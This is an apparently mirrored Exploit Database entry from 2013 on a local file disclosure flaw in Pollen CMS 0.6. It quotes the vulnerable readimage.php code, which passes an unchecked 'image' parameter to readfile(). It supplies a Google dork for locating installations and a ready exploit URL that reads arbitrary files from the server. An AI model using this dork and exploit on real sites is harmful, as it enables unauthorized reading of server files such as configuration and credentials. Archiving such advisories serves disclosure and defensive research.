Pollen CMS 0.6 – ‘index.php?p’ Paramete’ Local File Disclosure

• Exploit Database
• 49 阅读

• 作者： MizoZ
  日期： 2013-04-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24911/

• # Title: Pollen CMS <= 0.6 - Local File Disclosure
  # Google Dork: intext:"Powered by Pollen CMS"
  # Date: 25 Mars 2013
  # Exploit Author: MizoZ
  # Vendor Homepage: pollencms.com (BROKEN)
  # Software Link: https://code.google.com/p/pollencms/
  # Version: 0.6
  # Tested on: Ubuntu Desktop 12.04
  
  -- File "[path]/core/lib/readimage.php"
  
  02 - $image=urldecode($_GET["image"]);
  03 - if(is_file($image)){
  04 - header("Pragma: no-cache");
  05 - header("Expires: 0");
  06 - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
  07 - header("Cache-Control: no-cache, must-revalidate");
  08 - header("Content-type: image/jpg");
  09 - readfile($image);
  10 - }else{
  11 - header("HTTP/1.0 404 Not Found");
  12 - }
  
  
  -- Problem
  
   The script only verifies the existence of the given file.
  
  
  -- Exploit
  http://<server>/<path>/core/lib/readimage.php?image=[php urlencoded path to file]